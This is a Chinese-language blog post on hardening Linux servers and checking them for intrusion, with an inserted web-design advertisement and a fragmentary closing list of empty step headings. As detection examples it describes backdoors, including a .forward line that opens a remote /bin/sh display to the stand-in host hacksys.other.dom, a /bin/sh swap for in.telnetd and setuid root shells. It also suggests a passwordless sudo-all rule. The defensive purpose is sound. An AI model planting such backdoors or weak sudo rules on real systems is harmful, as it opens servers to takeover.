隨著開源系統(tǒng)Linux的盛行,其在大中型企業(yè)的應(yīng)用也在逐漸普及,很多企業(yè)的應(yīng)用服務(wù)都是構(gòu)筑在其之上,例如Web服務(wù)、數(shù)據(jù)庫服務(wù)、集群服務(wù)等等。因此,Linux的安全性就成為了企業(yè)構(gòu)筑安全應(yīng)用的一個基礎(chǔ),是重中之重,如何對其進(jìn)行安全防護(hù)是企業(yè)需要解決的一個基礎(chǔ)性問題,基于此,本文將給出十大企業(yè)級Linux服務(wù)器安全防護(hù)的要點。 1、強化:密碼管理 設(shè)定登錄密碼是一項非常重要的安全措施,如果用戶的密碼設(shè)定不合適,就很容易被破譯,尤其是擁有超級用戶使用權(quán)限的用戶,如果沒有良好的密碼,將給系統(tǒng)造成很大的安全漏洞。 目前密碼破解程序大多采用字典攻擊以及暴力攻擊手段,而其中用戶密碼設(shè)定不當(dāng),則極易受到字典攻擊的威脅。很多用戶喜歡用自己的英文名、生日或者賬戶等信息來設(shè)定密碼,這樣,黑客可能通過字典攻擊或者是社會工程的手段來破解密碼。所以建議用戶在設(shè)定密碼的過程中,應(yīng)盡量使用非字典中出現(xiàn)的組合字符,并且采用數(shù)字與字符相結(jié)合、大小寫相結(jié)合的密碼設(shè)置方式,增加密碼被黑客破解的難度。而且,也可以使用定期修改密碼、使密碼定期作廢的方式,來保護(hù)自己的登錄密碼。 在多用戶系統(tǒng)中,如果強迫每個用戶選擇不易猜出的密碼,將大大提高系統(tǒng)的安全性。但如果passwd程序無法強迫每個上機用戶使用恰當(dāng)?shù)拿艽a,要確保密碼的安全度,就只能依靠密碼破解程序了。實際上,密碼破解程序是黑客工具箱中的一種工具,它將常用的密碼或者是英文字典中所有可能用來作密碼的字都用程序加密成密碼字,然后將其與Linux系統(tǒng)的/etc/passwd密碼文件或/etc/shadow影子文件相比較,如果發(fā)現(xiàn)有吻合的密碼,就可以求得明碼了。在網(wǎng)絡(luò)上可以找到很多密碼破解程序,比較有名的程序是crack和john the ripper.用戶可以自己先執(zhí)行密碼破解程序,找出容易被黑客破解的密碼,先行改正總比被黑客破解要有利。 2、限定:網(wǎng)絡(luò)服務(wù)管理 早期的Linux版本中,每一個不同的網(wǎng)絡(luò)服務(wù)都有一個服務(wù)程序(守護(hù)進(jìn)程,Daemon)在后臺運行,后來的版本用統(tǒng)一的/etc/inetd服務(wù)器程序擔(dān)此重任。Inetd是Internetdaemon的縮寫,它同時監(jiān)視多個網(wǎng)絡(luò)端口,一旦接收到外界傳來的連接信息,就執(zhí)行相應(yīng)的TCP或UDP網(wǎng)絡(luò)服務(wù)。由于受inetd的統(tǒng)一指揮,因此Linux中的大部分TCP或UDP服務(wù)都是在/etc/inetd.conf文件中設(shè)定。所以取消不必要服務(wù)的第一步就是檢查/etc/inetd.conf文件,在不要的服務(wù)前加上“#”號。 一般來說,除了http、smtp、telnet和ftp之外,其他服務(wù)都應(yīng)該取消,諸如簡單文件傳輸協(xié)議tftp、網(wǎng)絡(luò)郵件存儲及接收所用的imap/ipop傳輸協(xié)議、尋找和搜索資料用的gopher以及用于時間同步的daytime和time等。還有一些報告系統(tǒng)狀態(tài)的服務(wù),如finger、efinger、systat和netstat等,雖然對系統(tǒng)查錯和尋找用戶非常有用,但也給黑客提供了方便之門。例如,黑客可以利用finger服務(wù)查找用戶的電話、使用目錄以及其他重要信息。因此,很多Linux系統(tǒng)將這些服務(wù)全部取消或部分取消,以增強系統(tǒng)的安全性。Inetd除了利用/etc/inetd.conf設(shè)置系統(tǒng)服務(wù)項之外,還利用/etc/services文件查找各項服務(wù)所使用的端口。因此,用戶必須仔細(xì)檢查該文件中各端口的設(shè)定,以免有安全上的漏洞。 在后繼的Linux版本中(比如Red Hat Linux7.2之后),取而代之的是采用xinetd進(jìn)行網(wǎng)絡(luò)服務(wù)的管理。 當(dāng)然,具體取消哪些服務(wù)不能一概而論,需要根據(jù)實際的應(yīng)用情況來定,但是系統(tǒng)管理員需要做到心中有數(shù),因為一旦系統(tǒng)出現(xiàn)安全問題,才能做到有步驟、有條不紊地進(jìn)行查漏和補救工作,這點比較重要。 3、嚴(yán)格審計:系統(tǒng)登錄用戶管理 在進(jìn)入Linux系統(tǒng)之前,所有用戶都需要登錄,也就是說,用戶需要輸入用戶賬號和密碼,只有它們通過系統(tǒng)驗證之后,用戶才能進(jìn)入系統(tǒng)。 與其他Unix操作系統(tǒng)一樣,Linux一般將密碼加密之后,存放在/etc/passwd文件中。Linux系統(tǒng)上的所有用戶都可以讀到/etc/passwd文件,雖然文件中保存的密碼已經(jīng)經(jīng)過加密,但仍然不太安全。因為一般的用戶可以利用現(xiàn)成的密碼破譯工具,以窮舉法猜測出密碼。比較安全的方法是設(shè)定影子文件/etc/shadow,只允許有特殊權(quán)限的用戶閱讀該文件。 在Linux系統(tǒng)中,如果要采用影子文件,必須將所有的公用程序重新編譯,才能支持影子文件。這種方法比較麻煩,比較簡便的方法是采用插入式驗證模塊(PAM)。很多Linux系統(tǒng)都帶有Linux的工具程序PAM,它是一種身份驗證機制,可以用來動態(tài)地改變身份驗證的方法和要求,而不要求重新編譯其他公用程序。這是因為PAM采用封閉包的方式,將所有與身份驗證有關(guān)的邏輯全部隱藏在模塊內(nèi),因此它是采用影子檔案的最佳幫手。 此外,PAM還有很多安全功能:它可以將傳統(tǒng)的DES加密方法改寫為其他功能更強的加密方法,以確保用戶密碼不會輕易地遭人破譯;它可以設(shè)定每個用戶使用電腦資源的上限;它甚至可以設(shè)定用戶的上機時間和地點。 Linux系統(tǒng)管理人員只需花費幾小時去安裝和設(shè)定PAM,就能大大提高Linux系統(tǒng)的安全性,把很多攻擊阻擋在系統(tǒng)之外。 4、設(shè)定:用戶賬號安全等級管理 除密碼之外,用戶賬號也有安全等級,這是因為在Linux上每個賬號可以被賦予不同的權(quán)限,因此在建立一個新用戶ID時,系統(tǒng)管理員應(yīng)該根據(jù)需要賦予該賬號不同的權(quán)限,并且歸并到不同的用戶組中。 在Linux系統(tǒng)中的部分文件中,可以設(shè)定允許上機和不允許上機人員的名單。其中,允許上機人員名單在/etc/hosts.allow中設(shè)置,不允許上機人員名單在/etc/hosts.deny中設(shè)置。此外,Linux將自動把允許進(jìn)入或不允許進(jìn)入的結(jié)果記錄到/var/log/secure文件中,系統(tǒng)管理員可以據(jù)此查出可疑的進(jìn)入記錄。 每個賬號ID應(yīng)該有專人負(fù)責(zé)。在企業(yè)中,如果負(fù)責(zé)某個ID的職員離職,管理員應(yīng)立即從系統(tǒng)中刪除該賬號。很多入侵事件都是借用了那些很久不用的賬號。 在用戶賬號之中,黑客最喜歡具有root權(quán)限的賬號,這種超級用戶有權(quán)修改或刪除各種系統(tǒng)設(shè)置,可以在系統(tǒng)中暢行無阻。因此,在給任何賬號賦予root權(quán)限之前,都必須仔細(xì)考慮。 Linux系統(tǒng)中的/etc/securetty文件包含了一組能夠以root賬號登錄的終端機名稱。例如,在RedHatLinux系統(tǒng)中,該文件的初始值僅允許本地虛擬控制臺(rtys)以root權(quán)限登錄,而不允許遠(yuǎn)程用戶以root權(quán)限登錄。最好不要修改該文件,如果一定要從遠(yuǎn)程登錄為root權(quán)限,最好是先以普通賬號登錄,然后利用su命令升級為超級用戶。 5、謹(jǐn)慎使用:“r系列”遠(yuǎn)程程序管理 在Linux系統(tǒng)中有一系列r字頭的公用程序,比如rlogin,rcp等等。它們非常容易被黑客用來入侵我們的系統(tǒng),因而非常危險,因此絕對不要將root賬號開放給這些公用程序。由于這些公用程序都是用。rhosts文件或者h(yuǎn)osts.equiv文件核準(zhǔn)進(jìn)入的,因此一定要確保root賬號不包括在這些文件之內(nèi)。 由于r等遠(yuǎn)程指令是黑客們用來攻擊系統(tǒng)的較好途徑,因此很多安全工具都是針對這一安全漏洞而設(shè)計的。例如,PAM工具就可以用來將r字頭公用程序有效地禁止掉,它在/etc/pam.d/rlogin文件中加上登錄必須先核準(zhǔn)的指令,使整個系統(tǒng)的用戶都不能使用自己home目錄下的。rhosts文件。 6、限制:root用戶權(quán)限管理 Root一直是Linux保護(hù)的重點,由于它權(quán)力無限,因此最好不要輕易將超級用戶授權(quán)出去。但是,有些程序的安裝和維護(hù)工作必須要求有超級用戶的權(quán)限,在這種情況下,可以利用其他工具讓這類用戶有部分超級用戶的權(quán)限。sudo就是這樣的工具。 sudo程序允許一般用戶經(jīng)過組態(tài)設(shè)定后,以用戶自己的密碼再登錄一次,取得超級用戶的權(quán)限,但只能執(zhí)行有限的幾個指令。例如,應(yīng)用sudo后,可以讓管理磁帶備份的管理人員每天按時登錄到系統(tǒng)中,取得超級用戶權(quán)限去執(zhí)行文檔備份工作,但卻沒有特權(quán)去作其他只有超級用戶才能作的工作。 sudo不但限制了用戶的權(quán)限,而且還將每次使用sudo所執(zhí)行的指令記錄下來,不管該指令的執(zhí)行是成功還是失敗。在大型企業(yè)中,有時候有許多人同時管理Linux系統(tǒng)的各個不同部分,每個管理人員都有用sudo授權(quán)給某些用戶超級用戶權(quán)限的能力,從sudo的日志中,可以追蹤到誰做了什么以及改動了系統(tǒng)的哪些部分。 值得注意的是,sudo并不能限制所有的用戶行為,尤其是當(dāng)某些簡單的指令沒有設(shè)置限定時,就有可能被黑客濫用。例如,一般用來顯示文件內(nèi)容的/etc/cat指令,如果有了超級用戶的權(quán)限,黑客就可以用它修改或刪除一些重要的文件。 7、追蹤黑客蹤跡:日志管理 當(dāng)用戶仔細(xì)設(shè)定了各種與Linux相關(guān)的配置(最常用日志管理選項),并且安裝了必要的安全防護(hù)工具之后,Linux操作系統(tǒng)的安全性的確大為提高,但是卻并不能保證防止那些比較熟練的網(wǎng)絡(luò)黑客的入侵。 在平時,網(wǎng)絡(luò)管理人員要經(jīng)常提高警惕,隨時注意各種可疑狀況,并且按時檢查各種系統(tǒng)日志文件,包括一般信息日志、網(wǎng)絡(luò)連接日志、文件傳輸日志以及用戶登錄日志等。在檢查這些日志時,要注意是否有不合常理的時間記載。例如: 正常用戶在半夜三更登錄; 不正常的日志記錄,比如日志只記錄了一半就切斷了,或者整個日志文件被刪除了; 用戶從陌生的網(wǎng)址進(jìn)入系統(tǒng); 因密碼錯誤或用戶賬號錯誤被擯棄在外的日志記錄,尤其是那些一再連續(xù)嘗試進(jìn)入失敗,但卻有一定模式的試錯法; 非法使用或不正當(dāng)使用超級用戶權(quán)限su的指令; 重新開機或重新啟動各項服務(wù)的記錄。 上述這些問題都需要系統(tǒng)管理員隨時留意系統(tǒng)登錄的用戶狀況以及查看相應(yīng)日志文件,許多背離正常行為的蛛絲馬跡都應(yīng)當(dāng)引起高度注意。 8、橫向擴展:綜合防御管理 防火墻、IDS等防護(hù)技術(shù)已經(jīng)成功地應(yīng)用到網(wǎng)絡(luò)安全的各個領(lǐng)域,而且都有非常成熟的產(chǎn)品。 在Linux系統(tǒng)來說,有一個自帶的Netfilter/Iptables防火墻框架,通過合理地配置其也能起到主機防火墻的功效。在Linux系統(tǒng)中也有相應(yīng)的輕量級的網(wǎng)絡(luò)入侵檢測系統(tǒng)Snort以及主機入侵檢測系統(tǒng)LIDS(Linux Intrusion Detection System),使用它們可以快速、高效地進(jìn)行防護(hù)。 需要提醒注意的是:在大多數(shù)的應(yīng)用情境下,我們需要綜合使用這兩項技術(shù),因為防火墻相當(dāng)于安全防護(hù)的第一層,它僅僅通過簡單地比較IP地址/端口對來過濾網(wǎng)絡(luò)流量,而IDS更加具體,它需要通過具體的數(shù)據(jù)包(部分或者全部)來過濾網(wǎng)絡(luò)流量,是安全防護(hù)的第二層。綜合使用它們,能夠做到互補,并且發(fā)揮各自的優(yōu)勢,最終實現(xiàn)綜合防御。 9、評測:漏洞追蹤及管理 Linux作為一種優(yōu)秀的開源軟件,其自身的發(fā)展也日新月異,同時,其存在的問題也會在日后的應(yīng)用中慢慢暴露出來。黑客對新技術(shù)的關(guān)注從一定程度上來說要高于我們防護(hù)人員,所以要想在網(wǎng)絡(luò)攻防的戰(zhàn)爭中處于有利地位,保護(hù)Linux系統(tǒng)的安全,就要求我們要保持高度的警惕性和對新技術(shù)的高度關(guān)注。用戶特別是使用Linux作為關(guān)鍵業(yè)務(wù)系統(tǒng)的系統(tǒng)管理員們,需要通過Linux的一些權(quán)威網(wǎng)站和論壇上盡快地獲取有關(guān)該系統(tǒng)的一些新技術(shù)以及一些新的系統(tǒng)漏洞的信息,進(jìn)行漏洞掃描、滲透測試等系統(tǒng)化的相關(guān)配套工作,做到防范于未然,提早行動,在漏洞出現(xiàn)后甚至是出現(xiàn)前的最短時間內(nèi)封堵系統(tǒng)的漏洞,并且在實踐中不斷地提高安全防護(hù)的技能,這樣才是一個比較的解決辦法和出路。 10、保持更新:補丁管理 Linux作為一種優(yōu)秀的開源軟件,其穩(wěn)定性、安全性和可用性有極為可靠的保證,世界上的Linux高手共同維護(hù)著個優(yōu)秀的產(chǎn)品,因而起流通渠道很多,而且經(jīng)常有更新的程序和系統(tǒng)補丁出現(xiàn),因此,為了加強系統(tǒng)安全,一定要經(jīng)常更新系統(tǒng)內(nèi)核。 Kernel是Linux操作系統(tǒng)的核心,它常駐內(nèi)存,用于加載操作系統(tǒng)的其他部分,并實現(xiàn)操作系統(tǒng)的基本功能。由于Kernel控制計算機和網(wǎng)絡(luò)的各種功能,因此,它的安全性對整個系統(tǒng)安全至關(guān)重要。早期的Kernel版本存在許多眾所周知的安全漏洞,而且也不太穩(wěn)定,只有2.0.x以上的版本才比較穩(wěn)定和安全(一般說來,內(nèi)核版本號為偶數(shù)的相對穩(wěn)定,而為奇數(shù)的則一般為測試版本,用戶們使用時要多留意),新版本的運行效率也有很大改觀。在設(shè)定Kernel的功能時,只選擇必要的功能,千萬不要所有功能照單全收,否則會使Kernel變得很大,既占用系統(tǒng)資源,也給黑客留下可乘之機。 在Internet上常常有最新的安全修補程序,Linux系統(tǒng)管理員應(yīng)該消息靈通,經(jīng)常光顧安全新聞組,查閱新的修補程序。
站在用戶的角度思考問題,與客戶深入溝通,找到無極網(wǎng)站設(shè)計與無極網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗,讓設(shè)計與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個性化、用戶體驗好的作品,建站類型包括:成都網(wǎng)站建設(shè)、成都網(wǎng)站制作、企業(yè)官網(wǎng)、英文網(wǎng)站、手機端網(wǎng)站、網(wǎng)站推廣、域名注冊、虛擬主機、企業(yè)郵箱。業(yè)務(wù)覆蓋無極地區(qū)。
1、檢查系統(tǒng)密碼文件
首先從明顯的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
檢查一下passwd文件中有哪些特權(quán)用戶,系統(tǒng)中uid為0的用戶都會被顯示出來。
1
awk –F:’$3==0?{print?$1}’?/etc/passwd
順便再檢查一下系統(tǒng)里有沒有空口令帳戶:
1
awk –F: ‘length($2)==0?{print?$1}’?/etc/shadow
2、查看一下進(jìn)程,看看有沒有奇怪的進(jìn)程
重點查看進(jìn)程:ps –aef | grep inetd
inetd是UNIX系統(tǒng)的守護(hù)進(jìn)程,正常的inetd的pid都比較靠前,如果你看到輸出了一個類似inetd –s /tmp/.xxx之類的進(jìn)程,著重看inetd –s后面的內(nèi)容。在正常情況下,LINUX系統(tǒng)中的inetd服務(wù)后面是沒有-s參數(shù)的,當(dāng)然也沒有用inetd去啟動某個文件;而solaris系統(tǒng)中也僅僅是inetd –s,同樣沒有用inetd去啟動某個特定的文件;如果你使用ps命令看到inetd啟動了某個文件,而你自己又沒有用inetd啟動這個文件,那就說明已經(jīng)有人入侵了你的系統(tǒng),并且以root權(quán)限起了一個簡單的后門。
輸入ps –aef 查看輸出信息,尤其注意有沒有以./xxx開頭的進(jìn)程。一旦發(fā)現(xiàn)異樣的進(jìn)程,經(jīng)檢查為入侵者留下的后門程序,立即運行kill –9 pid 開殺死該進(jìn)程,然后再運行ps –aef查看該進(jìn)程是否被殺死;一旦此類進(jìn)程出現(xiàn)殺死以后又重新啟動的現(xiàn)象,則證明系統(tǒng)被人放置了自動啟動程序的腳本。這個時候要進(jìn)行仔細(xì)查找:find / -name 程序名 –print,假設(shè)系統(tǒng)真的被入侵者放置了后門,根據(jù)找到的程序所在的目錄,會找到很多有趣的東東J
UNIX下隱藏進(jìn)程有的時候通過替換ps文件來做,檢測這種方法涉及到檢查文件完整性,稍后我們再討論這種方法。
接下來根據(jù)找到入侵者在服務(wù)器上的文件目錄,一步一步進(jìn)行追蹤。
3、檢查系統(tǒng)守護(hù)進(jìn)程
檢查/etc/inetd.conf文件,輸入:cat /etc/inetd.conf | grep –v “^#”,輸出的信息就是你這臺機器所開啟的遠(yuǎn)程服務(wù)。
一般入侵者可以通過直接替換in.xxx程序來創(chuàng)建一個后門,比如用/bin/sh 替換掉in.telnetd,然后重新啟動inetd服務(wù),那么telnet到服務(wù)器上的所有用戶將不用輸入用戶名和密碼而直接獲得一個rootshell。
4、檢查網(wǎng)絡(luò)連接和監(jiān)聽端口
輸入netstat -an,列出本機所有的連接和監(jiān)聽的端口,查看有沒有非法連接。
輸入netstat –rn,查看本機的路由、網(wǎng)關(guān)設(shè)置是否正確。
輸入 ifconfig –a,查看網(wǎng)卡設(shè)置。
5、檢查系統(tǒng)日志
命令last | more查看在正常情況下登錄到本機的所有用戶的歷史記錄。但last命令依賴于syslog進(jìn)程,這已經(jīng)成為入侵者攻擊的重要目標(biāo)。入侵者通常會停止系統(tǒng)的syslog,查看系統(tǒng)syslog進(jìn)程的情況,判斷syslog上次啟動的時間是否正常,因為syslog是以root身份執(zhí)行的,如果發(fā)現(xiàn)syslog被非法動過,那說明有重大的入侵事件。
在linux下輸入ls –al /var/log
在solaris下輸入 ls –al /var/adm
檢查wtmp utmp,包括messgae等文件的完整性和修改時間是否正常,這也是手工擦除入侵痕跡的一種方法。
6、檢查系統(tǒng)中的core文件
通過發(fā)送畸形請求來攻擊服務(wù)器的某一服務(wù)來入侵系統(tǒng)是一種常規(guī)的入侵方法,典型的RPC攻擊就是通過這種方式。這種方式有一定的成功率,也就是說它并不能100%保證成功入侵系統(tǒng),而且通常會在服務(wù)器相應(yīng)目錄下產(chǎn)生core文件,全局查找系統(tǒng)中的core文件,輸入find / -name core –exec ls –l {} \; 依據(jù)core所在的目錄、查詢core文件來判斷是否有入侵行為。
7、.rhosts和.forward
這是兩種比較著名的后門文件,如果想檢查你的系統(tǒng)是否被入侵者安裝了后門,不妨全局查找這兩個文件:
find / -name “.rhosts” –print
find / -name “.forward” –print
在某用戶的$HOME下,.rhosts文件中僅包含兩個+號是非常危險的,如果你的系統(tǒng)上開了513端口(rlogin端口,和telnet作用相同),那么任意是誰都可以用這個用戶登錄到你的系統(tǒng)上而不需要任何驗證。
看到這里如果想要深入的做安全加固服務(wù)以及安全部署
就必須找專業(yè)做服務(wù)器的安全公司來處理了國內(nèi)也就Sine安全和綠盟比較專業(yè)提供。
Unix下在.forward文件里放入命令是重新獲得訪問的常用方法在某一 用戶$HOME下的.forward可能設(shè)置如下:
\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"
這種方法的變形包括改變系統(tǒng)的mail的別名文件(通常位于/etc/aliases). 注意這只是一種簡單的變換. 更為高級的能夠從.forward中運行簡單腳本實現(xiàn)在標(biāo)準(zhǔn)輸入執(zhí)行任意命令(小部分預(yù)處理后).利用smrsh可以有效的制止這種后門(雖然如果允許可以自運行的elm's filter或procmail類程序, 很有可能還有問題。在Solaris系統(tǒng)下,如果你運行如下命令:
ln -s /var/mail/luser ~/.forward
然后設(shè)置vacation有效,那么/var/mail/luser就會被拷貝到~/.forward,同時會附加"|/usr/bin/vacation me",舊的symlink被移到~/.forward..BACKUP中。
直接刪除掉這兩個文件也可以。
8、檢查系統(tǒng)文件完整性
檢查文件的完整性有多種方法,通常我們通過輸入ls –l 文件名來查詢和比較文件,這種方法雖然簡單,但還是有一定的實用性。但是如果ls文件都已經(jīng)被替換了就比較麻煩。在LINUX下可以用rpm –V `rpm –qf 文件名` 來查詢,國家查詢的結(jié)果是否正常來判斷文件是否完整。在LINUX下使用rpm來檢查文件的完整性的方法也很多,這里不一一贅述,可以man rpm來獲得更多的格式。
UNIX系統(tǒng)中,/bin/login是被入侵者經(jīng)常替換作為后門的文件,接下來談一下login后門 :
UNIX里,Login程序通常用來對telnet來的用戶進(jìn)行口令驗證。入侵者獲取login的源代碼并修改,使它在比較輸入口令與存儲口令時先檢查后門口令。如果用戶敲入后門口令,它將忽視管理員設(shè)置的口令讓你長驅(qū)直入:這將允許入侵者進(jìn)入任何賬號,甚至是root目錄。由于后門口令是在用戶真實登錄并被日志記錄到utmp和wtmP前產(chǎn)生的一個訪問,所以入侵者可以登錄獲取shell卻不會暴露該賬號。管理員注意到這種后門后,使用”strings”命令搜索login程序以尋找文本信息。許多情況下后門口令會原形畢露。入侵者又會開始加密或者更改隱藏口令,使strings命令失效。所以許多管理員利用MD5校驗和檢測這種后門。UNIX系統(tǒng)中有md5sum命令,輸入md5sum 文件名檢查該文件的md5簽名。它的使用格式如下:md5sum –b 使用二進(jìn)制方式閱讀文件;md5sum –c 逆向檢查MD5簽名;md5sum –t 使用文本方式閱讀文件。
在前面提到過守護(hù)進(jìn)程,對于守護(hù)進(jìn)程配置文件inetd.conf中沒有被注釋掉的行要進(jìn)行仔細(xì)比較,舉個簡單的例子,如果你開放了telnet服務(wù),守護(hù)進(jìn)程配置文件中就會有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
可以看到它所使用的文件是 /usr/sbin/in.telnetd,檢查該文件的完整性,入侵者往往通過替換守護(hù)進(jìn)程中允許的服務(wù)文件來為自己創(chuàng)建一個后門。
LINUX系統(tǒng)中的/etc/crontab也是經(jīng)常被入侵者利用的一個文件,檢查該文件的完整性,可以直接cat /etc/crontab,仔細(xì)閱讀該文件有沒有被入侵者利用來做其他的事情。
不替換login等文件而直接使用進(jìn)程來啟動后門的方法有一個缺陷,即系統(tǒng)一旦重新啟動,這個進(jìn)程就被殺死了,所以得讓這個后門在系統(tǒng)啟動的時候也啟動起來。通常通過檢查/etc/rc.d下的文件來查看系統(tǒng)啟動的時候是不是帶有后門程序;這個方法怎么有點象查windows下的trojan?
說到這里,另外提一下,如果在某一目錄下發(fā)現(xiàn)有屬性為這樣的文件:-rwsr-xr-x 1 root root xxx .sh,這個表明任何用戶進(jìn)來以后運行這個文件都可以獲得一個rootshell,這就是setuid文件。運行 find –perm 4000 –print對此類文件進(jìn)行全局查找,然后刪除這樣的文件。
9、檢查內(nèi)核級后門
如果你的系統(tǒng)被人安裝了這種后門,通常都是比較討厭的,我常常就在想,遇到這種情況還是重新安裝系統(tǒng)算了J,言歸正傳,首先,檢查系統(tǒng)加載的模塊,在LINUX系統(tǒng)下使用lsmod命令,在solaris系統(tǒng)下使用modinfo命令來查看。這里需要說明的是,一般默認(rèn)安裝的LINUX加載的模塊都比較少,通常就是網(wǎng)卡的驅(qū)動;而solaris下就很多,沒別的辦法,只有一條一條地去分析。對內(nèi)核進(jìn)行加固后,應(yīng)禁止插入或刪除模塊,從而保護(hù)系統(tǒng)的安全,否則入侵者將有可能再次對系統(tǒng)調(diào)用進(jìn)行替換。我們可以通過替換create_module()和delete_module()來達(dá)到上述目的。另外,對這個內(nèi)核進(jìn)行加固模塊時應(yīng)盡早進(jìn)行,以防系統(tǒng)調(diào)用已經(jīng)被入侵者替換。如果系統(tǒng)被加載了后門模塊,但是在模塊列表/proc/module里又看不到它們,有可能是使用了hack工具來移除加載的模塊,大名鼎鼎的knark工具包就有移除加載模塊的工具。出現(xiàn)這種情況,需要仔細(xì)查找/proc目錄,根據(jù)查找到的文件和經(jīng)驗來判斷被隱藏和偽裝的進(jìn)程。Knark后門模塊就在/proc/knark目錄,當(dāng)然可能這個目錄是隱藏的。
查看 /etc/passwd 文件查看是否有無用的賬號,如果存在則刪除,降低安全風(fēng)險。
操作步驟:
操作步驟:
操作步驟
操作步驟
使用命令 vim /etc/pam.d/su 修改配置文件,在配置文件中添加行。
例如,只允許admin組用戶su到root,則添加 auth required pam_wheel.so group=admin 。
【可選】為了方便操作,可配置admin支持免密sudo:在 /etc/sudoers 文件中添加 admin ALL=(ALL) NOPASSWD:ALL
為了防止使用"su"命令將當(dāng)前用戶環(huán)境變量帶入其它用戶,修改/etc/login.defs添加ALWAYS_SET_PATH=yes并保存。
操作步驟
操作步驟:
查看所有服務(wù)列表 systemctl list-units --type=service
操作步驟
使用命令 vim /etc/ssh/sshd_config 編輯配置文件。
配置文件修改完成后,重啟sshd服務(wù)生效(systemctl restart sshd)。
操作步驟
修改/etc/profile 配置文件,添加行 umask 027 , 即新創(chuàng)建的文件屬主擁有讀寫執(zhí)行權(quán)限,同組用戶擁有讀和執(zhí)行權(quán)限,其他用戶無權(quán)限。
操作步驟
修改 /etc/profile 配置文件,設(shè)置為 TMOUT=600, 表示超時10分鐘無操作自動退出登錄。
操作步驟
Linux系統(tǒng)默認(rèn)啟用以下類型日志,配置文件為 /etc/rsyslog.conf:
通過上述步驟,可以在 /var/log/history 目錄下以每個用戶為名新建一個文件夾,每次用戶退出后都會產(chǎn)生以用戶名、登錄IP、時間的日志文件,包含此用戶本次的所有操作(root用戶除外)
服務(wù)器安全加固 - Linux - wubolive - 博客園